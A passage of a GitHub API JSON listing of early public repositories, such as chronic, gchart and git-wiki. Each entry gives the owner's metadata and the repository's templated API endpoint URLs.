,"statuses_url":"https://api.github.com/repos/uggedal/mofo/statuses/{sha}","languages_url":"https://api.github.com/repos/uggedal/mofo/languages","stargazers_url":"https://api.github.com/repos/uggedal/mofo/stargazers","contributors_url":"https://api.github.com/repos/uggedal/mofo/contributors","subscribers_url":"https://api.github.com/repos/uggedal/mofo/subscribers","subscription_url":"https://api.github.com/repos/uggedal/mofo/subscription","commits_url":"https://api.github.com/repos/uggedal/mofo/commits{/sha}","git_commits_url":"https://api.github.com/repos/uggedal/mofo/git/commits{/sha}","comments_url":"https://api.github.com/repos/uggedal/mofo/comments{/number}","issue_comment_url":"https://api.github.com/repos/uggedal/mofo/issues/comments/{number}","contents_url":"https://api.github.com/repos/uggedal/mofo/contents/{+path}","compare_url":"https://api.github.com/repos/uggedal/mofo/compare/{base}...{head}","merges_url":"https://api.github.com/repos/uggedal/mofo/merges","archive_url":"https://api.github.com/repos/uggedal/mofo/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/uggedal/mofo/downloads","issues_url":"https://api.github.com/repos/uggedal/mofo/issues{/number}","pulls_url":"https://api.github.com/repos/uggedal/mofo/pulls{/number}","milestones_url":"https://api.github.com/repos/uggedal/mofo/milestones{/number}","notifications_url":"https://api.github.com/repos/uggedal/mofo/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/uggedal/mofo/labels{/name}"},{"id":139,"name":"simply_versioned","full_name":"mmower/simply_versioned","owner":{"login":"mmower","id":74,"avatar_url":"https://2.gravatar.com/avatar/9d89c1c7a998c1f6f6e3fa9ac1753d29?d=https%3A%2F%2Fidenticons.github.com%2Fad61ab143223efbc24c7d2583be69251.png","gravatar_id":"9d89c1c7a998c1f6f6e3fa9ac1753d29","url":"https://api.github.com/users/mmower","html_url":"https://github.com/mmower","followers_url":"https://api.github.com/users/mmower/followers","following_url":"https://api.github.com/users/mmower/following{/other_user}","gists_url":"https://api.github.com/users/mmower/gists{/gist_id}","starred_url":"https://api.github.com/users/mmower/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/mmower/subscriptions","organizations_url":"https://api.github.com/users/mmower/orgs","repos_url":"https://api.github.com/users/mmower/repos","events_url":"https://api.github.com/users/mmower/events{/privacy}","received_events_url":"https://api.github.com/users/mmower/received_events","type":"User"},"private":false,"html_url":"https://github.com/mmower/simply_versioned","description":"A simple, non-invasive, approach to versioning ActiveRecord models","fork":false,"url":"https://api.github.com/repos/mmower/simply_versioned","forks_url":"https://api.github.com/repos/mmower/simply_versioned/forks","keys_url":"https://api.github.com/repos/mmower/simply_versioned/keys{/key_id}","collaborators_url":"https://api.github.com/repos/mmower/simply_versioned/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/mmower/simply_versioned/teams","hooks_url":"https://api.github.com/repos/mmower/simply_versioned/hooks","issue_events_url":"https://api.github.com/repos/mmower/simply_versioned/issues/events{/number}","events_url":"https://api.github.com/repos/mmower/simply_versioned/events","assignees_url":"https://api.github.com/repos/mmower/simply_versioned/assignees{/user}","branches_url":"https://api.github.com/repos/mmower/simply_versioned/branches{/branch}","tags_url":"https://api.github.com/repos/mmower/simply_versioned/tags","blobs_url":"https://api.github.com/repos/mmower/simply_versioned/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/mmower/simply_versioned/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/mmower/simply_versioned/git/refs{/sha}","trees_url":"https://api.github.com/repos/mmower/simply_versioned/git/trees{/sha}","statuses_url":"https://api.github.com/repos/mmower/simply_versioned/statuses/{sha}","languages_url":"https://api.github.com/repos/mmower/simply_versioned/languages","stargazers_url":"https://api.github.com/repos/mmower/simply_versioned/stargazers","contributors_url":"https://api.github.com/repos/mmower/simply_versioned/contributors","subscribers_url":"https://api.github.com/repos/mmower/simply_versioned/subscribers","subscription_url":"https://api.github.com/repos/mmower/simply_versioned/subscription","commits_url":"https://api.github.com/repos/mmower/simply_versioned/commits{/sha}","git_commits_url":"https://api.github.com/repos/mmower/simply_versioned/git/commits{/sha}","comments_url":"https://api.github.com/repos/mmower/simply_versioned/comments{/number}","issue_comment_url":"https://api.github.com/repos/mmower/simply_versioned/issues/comments/{number}","contents_url":"https://api.github.com/repos/mmower/simply_versioned/contents/{+path}","compare_url":"https://api.github.com/repos/mmower/simply_versioned/compare/{base}...{head}","merges_url":"https://api.github.com/repos/mmower/simply_versioned/merges","archive_url":"https://api.github.com/repos/mmower/simply_versioned/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/mmower/simply_versioned/downloads","issues_url":"https://api.github.com/repos/mmower/simply_versioned/issues{/number}","pulls_url":"https://api.github.com/repos/mmower/simply_versioned/pulls{/number}","milestones_url":"https://api.github.com/repos/mmower/simply_versioned/milestones{/number}","notifications_url":"https://api.github.com/repos/mmower/simply_versioned/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/mmower/simply_versioned/labels{/name}"},{"id":140,"name":"gchart","full_name":"abhay/gchart","owner":{"login":"abhay","id":75,"avatar_url":"https://1.gravatar.com/avatar/012b62cf82e7956ffe8f47086be831de?d=https%3A%2F%2Fidenticons.github.com%2Fd09bf41544a3365a46c9077ebb5e35c3.png","gravatar_id":"012b62cf82e7956ffe8f47086be831de","url":"https://api.github.com/users/abhay","html_url":"https://github.com/abhay","followers_url":"https://api.github.com/users/abhay/followers","following_url":"https://api.github.com/users/abhay/following{/other_user}","gists_url":"https://api.github.com/users/abhay/gists{/gist_id}","starred_url":"https://api.github.com/users/abhay/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/abhay/subscriptions","organizations_url":"https://api.github.com/users/abhay/orgs","repos_url":"https://api.github.com/users/abhay/repos","events_url":"https://api.github.com/users/abhay/events{/privacy}","received_events_url":"https://api.github.com/users/abhay/received_events","type":"User"},"private":false,"html_url":"https://github.com/abhay/gchart","description":"GChart exposes the Google Chart API (http://code.google.com/apis/chart) via a friendly Ruby interface. It can generate the URL for a given chart (for webpage use), or download the generated PNG (for offline use).","fork":false,"url":"https://api.github.com/repos/abhay/gchart","forks_url":"https://api.github.com/repos/abhay/gchart/forks","keys_url":"https://api.github.com/repos/abhay/gchart/keys{/key_id}","collaborators_url":"https://api.github.com/repos/abhay/gchart/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/abhay/gchart/teams","hooks_url":"https://api.github.com/repos/abhay/gchart/hooks","issue_events_url":"https://api.github.com/repos/abhay/gchart/issues/events{/number}","events_url":"https://api.github.com/repos/abhay/gchart/events","assignees_url":"https://api.github.com/repos/abhay/gchart/assignees{/user}","branches_url":"https://api.github.com/repos/abhay/gchart/branches{/branch}","tags_url":"https://api.github.com/repos/abhay/gchart/tags","blobs_url":"https://api.github.com/repos/abhay/gchart/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/abhay/gchart/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/abhay/gchart/git/refs{/sha}","trees_url":"https://api.github.com/repos/abhay/gchart/git/trees{/sha}","statuses_url":"https://api.github.com/repos/abhay/gchart/statuses/{sha}","languages_url":"https://api.github.com/repos/abhay/gchart/languages","stargazers_url":"https://api.github.com/repos/abhay/gchart/stargazers","contributors_url":"https://api.github.com/repos/abhay/gchart/contributors","subscribers_url":"https://api.github.com/repos/abhay/gchart/subscribers","subscription_url":"https://api.github.com/repos/abhay/gchart/subscription","commits_url":"https://api.github.com/repos/abhay/gchart/commits{/sha}","git_commits_url":"https://api.github.com/repos/abhay/gchart/git/commits{/sha}","comments_url":"https://api.github.com/repos/abhay/gchart/comments{/number}","issue_comment_url":"https://api.github.com/repos/abhay/gchart/issues/comments/{number}","contents_url":"https://api.github.com/repos/abhay/gchart/contents/{+path}","compare_url":"https://api.github.com/repos/abhay/gchart/compare/{base}...{head}","merges_url":"https://api.github.com/repos/abhay/gchart/merges","archive_url":"https://api.github.com/repos/abhay/gchart/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/abhay/gchart/downloads","issues_url":"https://api.github.com/repos/abhay/gchart/issues{/number}","pulls_url":"https://api.github.com/repos/abhay/gchart/pulls{/number}","milestones_url":"https://api.github.com/repos/abhay/gchart/milestones{/number}","notifications_url":"https://api.github.com/repos/abhay/gchart/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/abhay/gchart/labels{/name}"},{"id":141,"name":"schemr","full_name":"benburkert/schemr","owner":{"login":"benburkert","id":77,"avatar_url":"https://0.gravatar.com/avatar/4d1c9dad17af98e55cb65b4efce27c42?d=https%3A%2F%2Fidenticons.github.com%2F28dd2c7955ce926456240b2ff0100bde.png","gravatar_id":"4d1c9dad17af98e55cb65b4efce27c42","url":"https://api.github.com/users/benburkert","html_url":"https://github.com/benburkert","followers_url":"https://api.github.com/users/benburkert/followers","following_url":"https://api.github.com/users/benburkert/following{/other_user}","gists_url":"https://api.github.com/users/benburkert/gists{/gist_id}","starred_url":"https://api.github.com/users/benburkert/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/benburkert/subscriptions","organizations_url":"https://api.github.com/users/benburkert/orgs","repos_url":"https://api.github.com/users/benburkert/repos","events_url":"https://api.github.com/users/benburkert/events{/privacy}","received_events_url":"https://api.github.com/users/benburkert/received_events","type":"User"},"private":false,"html_url":"https://github.com/benburkert/schemr","description":"A DSL for creating schema documents in ruby","fork":false,"url":"https://api.github.com/repos/benburkert/schemr","forks_url":"https://api.github.com/repos/benburkert/schemr/forks","keys_url":"https://api.github.com/repos/benburkert/schemr/keys{/key_id}","collaborators_url":"https://api.github.com/repos/benburkert/schemr/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/benburkert/schemr/teams","hooks_url":"https://api.github.com/repos/benburkert/schemr/hooks","issue_events_url":"https://api.github.com/repos/benburkert/schemr/issues/events{/number}","events_url":"https://api.github.com/repos/benburkert/schemr/events","assignees_url":"https://api.github.com/repos/benburkert/schemr/assignees{/user}","branches_url":"https://api.github.com/repos/benburkert/schemr/branches{/branch}","tags_url":"https://api.github.com/repos/benburkert/schemr/tags","blobs_url":"https://api.github.com/repos/benburkert/schemr/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/benburkert/schemr/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/benburkert/schemr/git/refs{/sha}","trees_url":"https://api.github.com/repos/benburkert/schemr/git/trees{/sha}","statuses_url":"https://api.github.com/repos/benburkert/schemr/statuses/{sha}","languages_url":"https://api.github.com/repos/benburkert/schemr/languages","stargazers_url":"https://api.github.com/repos/benburkert/schemr/stargazers","contributors_url":"https://api.github.com/repos/benburkert/schemr/contributors","subscribers_url":"https://api.github.com/repos/benburkert/schemr/subscribers","subscription_url":"https://api.github.com/repos/benburkert/schemr/subscription","commits_url":"https://api.github.com/repos/benburkert/schemr/commits{/sha}","git_commits_url":"https://api.github.com/repos/benburkert/schemr/git/commits{/sha}","comments_url":"https://api.github.com/repos/benburkert/schemr/comments{/number}","issue_comment_url":"https://api.github.com/repos/benburkert/schemr/issues/comments/{number}","contents_url":"https://api.github.com/repos/benburkert/schemr/contents/{+path}","compare_url":"https://api.github.com/repos/benburkert/schemr/compare/{base}...{head}","merges_url":"https://api.github.com/repos/benburkert/schemr/merges","archive_url":"https://api.github.com/repos/benburkert/schemr/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/benburkert/schemr/downloads","issues_url":"https://api.github.com/repos/benburkert/schemr/issues{/number}","pulls_url":"https://api.github.com/repos/benburkert/schemr/pulls{/number}","milestones_url":"https://api.github.com/repos/benburkert/schemr/milestones{/number}","notifications_url":"https://api.github.com/repos/benburkert/schemr/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/benburkert/schemr/labels{/name}"},{"id":142,"name":"calais","full_name":"abhay/calais","owner":{"login":"abhay","id":75,"avatar_url":"https://1.gravatar.com/avatar/012b62cf82e7956ffe8f47086be831de?d=https%3A%2F%2Fidenticons.github.com%2Fd09bf41544a3365a46c9077ebb5e35c3.png","gravatar_id":"012b62cf82e7956ffe8f47086be831de","url":"https://api.github.com/users/abhay","html_url":"https://github.com/abhay","followers_url":"https://api.github.com/users/abhay/followers","following_url":"https://api.github.com/users/abhay/following{/other_user}","gists_url":"https://api.github.com/users/abhay/gists{/gist_id}","starred_url":"https://api.github.com/users/abhay/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/abhay/subscriptions","organizations_url":"https://api.github.com/users/abhay/orgs","repos_url":"https://api.github.com/users/abhay/repos","events_url":"https://api.github.com/users/abhay/events{/privacy}","received_events_url":"https://api.github.com/users/abhay/received_events","type":"User"},"private":false,"html_url":"https://github.com/abhay/calais","description":"A Ruby interface to the Open Calais API (http://opencalais.com)","fork":false,"url":"https://api.github.com/repos/abhay/calais","forks_url":"https://api.github.com/repos/abhay/calais/forks","keys_url":"https://api.github.com/repos/abhay/calais/keys{/key_id}","collaborators_url":"https://api.github.com/repos/abhay/calais/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/abhay/calais/teams","hooks_url":"https://api.github.com/repos/abhay/calais/hooks","issue_events_url":"https://api.github.com/repos/abhay/calais/issues/events{/number}","events_url":"https://api.github.com/repos/abhay/calais/events","assignees_url":"https://api.github.com/repos/abhay/calais/assignees{/user}","branches_url":"https://api.github.com/repos/abhay/calais/branches{/branch}","tags_url":"https://api.github.com/repos/abhay/calais/tags","blobs_url":"https://api.github.com/repos/abhay/calais/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/abhay/calais/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/abhay/calais/git/refs{/sha}","trees_url":"https://api.github.com/repos/abhay/calais/git/trees{/sha}","statuses_url":"https://api.github.com/repos/abhay/calais/statuses/{sha}","languages_url":"https://api.github.com/repos/abhay/calais/languages","stargazers_url":"https://api.github.com/repos/abhay/calais/stargazers","contributors_url":"https://api.github.com/repos/abhay/calais/contributors","subscribers_url":"https://api.github.com/repos/abhay/calais/subscribers","subscription_url":"https://api.github.com/repos/abhay/calais/subscription","commits_url":"https://api.github.com/repos/abhay/calais/commits{/sha}","git_commits_url":"https://api.github.com/repos/abhay/calais/git/commits{/sha}","comments_url":"https://api.github.com/repos/abhay/calais/comments{/number}","issue_comment_url":"https://api.github.com/repos/abhay/calais/issues/comments/{number}","contents_url":"https://api.github.com/repos/abhay/calais/contents/{+path}","compare_url":"https://api.github.com/repos/abhay/calais/compare/{base}...{head}","merges_url":"https://api.github.com/repos/abhay/calais/merges","archive_url":"https://api.github.com/repos/abhay/calais/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/abhay/calais/downloads","issues_url":"https://api.github.com/repos/abhay/calais/issues{/number}","pulls_url":"https://api.github.com/repos/abhay/calais/pulls{/number}","milestones_url":"https://api.github.com/repos/abhay/calais/milestones{/number}","notifications_url":"https://api.github.com/repos/abhay/calais/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/abhay/calais/labels{/name}"},{"id":144,"name":"chronic","full_name":"mojombo/chronic","owner":{"login":"mojombo","id":1,"avatar_url":"https://1.gravatar.com/avatar/25c7c18223fb42a4c6ae1c8db6f50f9b?d=https%3A%2F%2Fidenticons.github.com%2Fc4ca4238a0b923820dcc509a6f75849b.png","gravatar_id":"25c7c18223fb42a4c6ae1c8db6f50f9b","url":"https://api.github.com/users/mojombo","html_url":"https://github.com/mojombo","followers_url":"https://api.github.com/users/mojombo/followers","following_url":"https://api.github.com/users/mojombo/following{/other_user}","gists_url":"https://api.github.com/users/mojombo/gists{/gist_id}","starred_url":"https://api.github.com/users/mojombo/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/mojombo/subscriptions","organizations_url":"https://api.github.com/users/mojombo/orgs","repos_url":"https://api.github.com/users/mojombo/repos","events_url":"https://api.github.com/users/mojombo/events{/privacy}","received_events_url":"https://api.github.com/users/mojombo/received_events","type":"User"},"private":false,"html_url":"https://github.com/mojombo/chronic","description":"Chronic is a pure Ruby natural language date parser.","fork":false,"url":"https://api.github.com/repos/mojombo/chronic","forks_url":"https://api.github.com/repos/mojombo/chronic/forks","keys_url":"https://api.github.com/repos/mojombo/chronic/keys{/key_id}","collaborators_url":"https://api.github.com/repos/mojombo/chronic/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/mojombo/chronic/teams","hooks_url":"https://api.github.com/repos/mojombo/chronic/hooks","issue_events_url":"https://api.github.com/repos/mojombo/chronic/issues/events{/number}","events_url":"https://api.github.com/repos/mojombo/chronic/events","assignees_url":"https://api.github.com/repos/mojombo/chronic/assignees{/user}","branches_url":"https://api.github.com/repos/mojombo/chronic/branches{/branch}","tags_url":"https://api.github.com/repos/mojombo/chronic/tags","blobs_url":"https://api.github.com/repos/mojombo/chronic/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/mojombo/chronic/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/mojombo/chronic/git/refs{/sha}","trees_url":"https://api.github.com/repos/mojombo/chronic/git/trees{/sha}","statuses_url":"https://api.github.com/repos/mojombo/chronic/statuses/{sha}","languages_url":"https://api.github.com/repos/mojombo/chronic/languages","stargazers_url":"https://api.github.com/repos/mojombo/chronic/stargazers","contributors_url":"https://api.github.com/repos/mojombo/chronic/contributors","subscribers_url":"https://api.github.com/repos/mojombo/chronic/subscribers","subscription_url":"https://api.github.com/repos/mojombo/chronic/subscription","commits_url":"https://api.github.com/repos/mojombo/chronic/commits{/sha}","git_commits_url":"https://api.github.com/repos/mojombo/chronic/git/commits{/sha}","comments_url":"https://api.github.com/repos/mojombo/chronic/comments{/number}","issue_comment_url":"https://api.github.com/repos/mojombo/chronic/issues/comments/{number}","contents_url":"https://api.github.com/repos/mojombo/chronic/contents/{+path}","compare_url":"https://api.github.com/repos/mojombo/chronic/compare/{base}...{head}","merges_url":"https://api.github.com/repos/mojombo/chronic/merges","archive_url":"https://api.github.com/repos/mojombo/chronic/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/mojombo/chronic/downloads","issues_url":"https://api.github.com/repos/mojombo/chronic/issues{/number}","pulls_url":"https://api.github.com/repos/mojombo/chronic/pulls{/number}","milestones_url":"https://api.github.com/repos/mojombo/chronic/milestones{/number}","notifications_url":"https://api.github.com/repos/mojombo/chronic/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/mojombo/chronic/labels{/name}"},{"id":165,"name":"git-wiki","full_name":"sr/git-wiki","owner":{"login":"sr","id":90,"avatar_url":"https://1.gravatar.com/avatar/8e0adf6f8274375b90a180d256d73bad?d=https%3A%2F%2Fidenticons.github.com%2F8613985ec49eb8f757ae6439e879bb2a.png","gravatar_id":"8e0adf6f8274375b90a180d256d73bad","url":"https://api.github.com/users/sr","html_url":"https://github.com/sr","followers_url":"https://api.github.com/users/sr/followers","following_url":"https://api.github.com/users/sr/following{/other_user}","gists_url":"https://api.github.com/users/sr/gists{/gist_id}","starred_url":"https://api.github.com/users/sr/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/sr/subscriptions","organizations_url":"https://api.github.com/users/sr/orgs","repos_url":"https://api.github.com/users/sr/repos","events_url":"https://api.github.com/users/sr/events{/privacy}","received_events_url":"https://api.github.com/users/sr/received_events","type":"User"},"private":false,"html_url":"https://github.com/sr/git-wiki","description":"A quick & dirty git-powered Sinatra wiki","fork":false,"url":"https://api.github.com/repos/sr/git-wiki","forks_url":"https://api.github.com/repos/sr/git-wiki/forks","keys_url":"https://api.github.com/repos/sr/git-wiki/keys{/key_id}","collaborators_url":"https://api.github.com/repos/sr/git-wiki/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/sr/git-wiki/teams","hooks_url":"https://api.github.com/repos/sr/git-wiki/hooks","issue_events_url":"https://api.github.com/repos/sr/git-wiki/issues/events{/number}","events_url":"https://api.github.com/repos/sr/git-wiki/events","assignees_url":"https://api.github.com/repos/sr/git-wiki/assignees{/user}","branches_url":"https://api.github.com/repos/sr/git-wiki/branches{/branch}","tags_url":"https://api.github.com/repos/sr/git-wiki/tags","blobs_url":"https://api.github.com/repos/sr/git-wiki/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/sr/git-wiki/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/sr/git-wiki/git/refs{/sha}","trees_url":"https://api.github.com/repos/sr/git-wiki/git/trees{/sha}","statuses_url":"https://api.github.com/repos/sr/git-wiki/statuses/{sha}","languages_url":"https://api.github.com/repos/sr/git-wiki/languages","stargazers_url":"https://api.github.com/repos/sr/git-wiki/stargazers","contributors_url":"https://api.github.com/repos/sr/git-wiki/contributors","subscribers_url":"https://api.github.com/repos/sr/git-wiki/subscribers","subscription_url":"https://api.github.com/repos/sr/git-wiki/subscription","commits_url":"https://api.github.com/repos/sr/git-wiki/commits{/sha}","git_commits_url":"https://api.github.com/repos/sr/git-wiki/git/commits{/sha}","comments_url":"https://api.github.com/repos/sr/git-wiki/comments{/number}","issue_comment_url":"https://api.github.com/repos/sr/git-wiki/issues/comments/{number}","contents_url":"https://api.github.com/repos/sr/git-wiki/contents/{+path}","compare_url":"https://api.github.com/repos/sr/git-wiki/compare/{base}...{head}","merges_url":"https://api.github.com/repos/sr/git-wiki/merges","archive_url":"https://api.github.com/repos/sr/git-wiki/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/sr/git-wiki/downloads","issues_url":"https://api.github.com/repos/sr/git-wiki/issues{/number}","pulls_url":"https://api.github.com/repos/sr/git-wiki/pulls{/number}","milestones_url":"https://api.github.com/repos/sr/git-wiki/milestones{/number}","notifications_url":"https://api.github.com/repos/sr/git-wiki/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/sr/git-wiki/labels{/name}"},{"id":176,"name":"ambitious_activeldap","full_name":"automatthew/ambitious_activeldap","owner":{"login":"automatthew","id":105,"avatar_url":"https://2.gravatar.com/avatar/491d5a2b6e9c9346e2d67da31a633457?d=https%3A%2F%2Fidenticons.github.com%2F65b9eea6e1cc6bb9f0cd2a47751a186f.png","gravatar_id":"491d5a2b6e9c9346e2d67da31a633457","url":"https://api.github.com/users/automatthew","html_url":"https://github.com/automatthew","followers_url":"https://api.github.com/users/automatthew/followers","following_url":"https://api.github.com/users/automatthew/following{/other_user}","gists_url":"https://api.github.com/users/automatthew/gists{/gist_id}","starred_url":"https://api.github.com/users/automatthew/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/automatthew/subscriptions","organizations_url":"https://api.github.com/users/automatthew/orgs","repos_url":"https://api.github.com/users/automatthew/repos","events_url":"https://api.github.com/users/automatthew/events{/privacy}","received_events_url":"https://api.github.com/users/automatthew/received_events","type":"User"},"private":false,"html_url":"https://github.com/automatthew/ambitious_activeldap","description":"Ambition adapter for ActiveLdap","fork":false,"url":"https://api.github.com/repos/automatthew/ambitious_activeldap","forks_url":"https://api.github.com/repos/automatthew/ambitious_activeldap/forks","keys_url":"https://api.github.com/repos/automatthew/ambitious_activeldap/keys{/key_id}","collaborators_url":"https://api.github.com/repos/automatthew/ambitious_activeldap/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/automatthew/ambitious_activeldap/teams","hooks_url":"https://api.github.com/repos/automatthew/ambitious_activeldap/hooks","issue_events_url":"https://api.github.com/repos/automatthew/ambitious_activeldap/issues/events{/number}","events_url":"https://api.github.com/repos/automatthew/ambitious_activeldap/events","assignees_url":"https://api.github.com/repos/automatthew/ambitious_activeldap/assignees{/user}","branches_url":"https://api.github.com/repos/automatthew/ambitious_activeldap/branches{/branch}","tags_url":"https://api.github.com/repos/automatthew/ambitious_activeldap/tags","blobs_url":"https://api.github.com/repos/automatthew/ambitious_activeldap/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/automatthew/ambitious_activeldap/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/automatthew/ambitious_activeldap/git/refs{/sha}","trees_url":"https://api.github.com/repos/automatthew/ambitious_activeldap/git/trees{/sha}","statuses_url":"https://api.github.com/repos/automatthew/ambitious_activeldap/statuses/{sha}","languages_url":"https://api.github.com/repos/automatthew/ambitious_activeldap/languages","stargazers_url":"https://api.github.com/repos/automatthew/ambitious_activeldap/stargazers","contributors_url":"https://api.github.com/repos/automatthew/ambitious_activeldap/contributors","subscribers_url":"https://api.github.com/repos/automatthew/ambitious_activeldap/subscribers","subscription_url":"https://api.github.com/repos/automatthew/ambitious_activeldap/subscription","commits_url":"https://api.github.com/repos/automatthew/ambitious_activeldap/commits{/sha}","git_commits_url":"https://api.github.com/repos/automatthew/ambitious_activeldap/git/commits{/sha}","comments_url":"https://api.github.com/repos/automatthew/ambitious_activeldap/comments{/number}","issue_comment_url":"https://api.github.com/repos/automatthew/ambitious_activeldap/issues/comments/{number}","contents_url":"https://api.github.com/repos/automatthew/ambitious_activeldap/contents/{+path}","compare_url":"https://api.github.com/repos/automatthew/ambitious_activeldap/compare/{base}...{head}","merges_url":"https://api.github.com/repos/automatthew/ambitious_activeldap/merges","archive_url":"https://api.github.com/repos/automatthew/ambitious_activeldap/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/automatthew/ambitious_activeldap/downloads","issues_url":"https://api.github.com/repos/automatthew/ambitious_activeldap/issues{/number}","pulls_url":"https://api.github.com/repos/automatthew/ambitious_activeldap/pulls{/number}","milestones_url":"https://api.github.com/repos/automatthew/ambitious_activeldap/milestones{/number}","notifications_url":"https://api.github.com/repos/automatthew/ambitious_activeldap/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/automatthew/ambitious_activeldap/labels{/name}"},{"id":177,"name":"signal-wiki","full_name":"queso/signal-wiki","owner":{"login":"queso","id":106,"avatar_url":"https://2.gravatar.com/avatar/089ddf30c09022b92363dd0d8ce2bdfd?d=https%3A%2F%2Fidenticons.github.com%2Ff0935e4cd5920aa6c7c996a5ee53a70f.png","gravatar_id":"089ddf30c09022b92363dd0d8ce2bdfd","url":"https://api.github.com/users/queso","html_url":"https://github.com/queso","followers_url":"https://api.github.com/users/queso/followers","following_url":"https://api.github.com/users/queso/following{/other_user}","gists_url":"https://api.github.com/users/queso/gists{/gist_id}","starred_url":"https://api.github.com/users/queso/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/queso/subscriptions","organizations_url":"https://api.github.com/users/queso/orgs","repos_url":"https://api.github.com/users/queso/repos","events_url":"https://api.github.com/users/queso/events{/privacy}","received_events_url":"https://api.github.com/users/queso/received_events","type":"User"},"private":false,"html_url":"https://github.com/queso/signal-wiki","description":"The easy to use rails wiki","fork":false,"url":"https://api.github.com/repos/queso/signal-wiki","forks_url":"https://api.github.com/repos/queso/signal-wiki/forks","keys_url":"https://api.github.com/repos/queso/signal-wiki/keys{/key_id}","collaborators_url":"https://api.github.com/repos/queso/signal-wiki/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/queso/signal-wiki/teams","hooks_url":"https://api.github.com/repos/queso/signal-wiki/hooks","issue_events_url":"https://api.github.com/repos/queso/signal-wiki/issues/events{/number}","events_url":"https://api.github.com/repos/queso/signal-wiki/events","assignees_url":"https://api.github.com/repos/queso/signal-wiki/assignees{/user}","branches_url":"https://api.github.com/repos/queso/signal-wiki/branches{/branch}","tags_url":"https://api.github.com/repos/queso/signal-wiki/tags","blobs_url":"https://api.github.com/repos/queso/signal-wiki/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/queso/signal-wiki/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/queso/signal-wiki/git/refs{/sha}","trees_url":"https://api.github.com/repos/queso/signal-wiki/git/trees{/sha}","statuses_url":"https://api.github.com/repos/queso/signal-wiki/statuses/{sha}","languages_url":"https://api.github.com/repos/queso/signal-wiki/languages","stargazers_url":"https://api.github.com/repos/queso/signal-wiki/stargazers","contributors_url":"https://api.github.com/repos/queso/signal-wiki/contributors","subscribers_url":"https://api.github.com/repos/queso/signal-wiki/subscribers","subscription_url":"https://api.github.com/repos/queso/signal-wiki/subscription","commits_url":"https://api.github.com/repos/queso/signal-wiki/commits{/sha}","git_commits_url":"https://api.github.com/repos/queso/signal-wiki/git/commits{/sha}","comments_url":"https://api.github.com/repos/queso/signal-wiki/comments{/number}","issue_comment_url":"https://api.github.com/repos/queso/signal-wiki/issues/comments/{number}","contents_url":"https://api.github.com/repos/queso/signal-wiki/contents/{+path}","compare_url":"https://api.github.com/repos/queso/signal-wiki/compare/{base}...{head}","merges_url":"https://api.github.com/repos/queso/signal-wiki/merges","archive_url":"https://api.github.com/repos/queso/signal-wiki/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/queso/signal-wiki/downloads","issues_url":"https://api.github.com/repos/queso/signal-wiki/issues{/number}","pulls_url":"https://api.github.com/repos/queso/signal-wiki/pulls{/number}","milestones_url":"https://api.github.com/repos/queso/signal-wiki/milestones{/number}","notifications_url":"https://api.github.com/repos/queso/signal-wiki/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/queso/signal-wiki/labels{/name}"},{"id":179,"name":"ruby-on-rails-tmbundle","full_name":"drnic/ruby-on-rails-tmbundle","owner":{"login":"drnic","id":108,"avatar_url":"https://2.gravatar.com/avatar/cb2b768a5e546b24052ea03334e43676?d=https%3A%2F%2Fidenticons.github.com%2Fa3c65c2974270fd093ee8a9bf8ae7d0b.png","gravatar_id":"cb2b768a5e546b24052ea03334e43676","url":"https://api.github.com/users/drnic","html_url":"https://github.com/drnic","followers_url":"https://api.github.com/users/drnic/followers","following_url":"https://api.github.com/users/drnic/following{/other_user}","gists_url":"https://api.github.com/users/drnic/gists{/gist_id}","starred_url":"https://api.github.com/users/drnic/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/drnic/subscriptions","organizations_url":"https://api.github.com/users/drnic/orgs","repos_url":"https://api.github.com/users/drnic/repos","events_url":"https://api.github.com/users/drnic/events{/privacy}","received_events_url":"https://api.github.com/users/drnic/received_events","type":"User"},"private":false,"html_url":"https://github.com/drnic/ruby-on-rails-tmbundle","description":"Ruby on Rails TextMate bundle 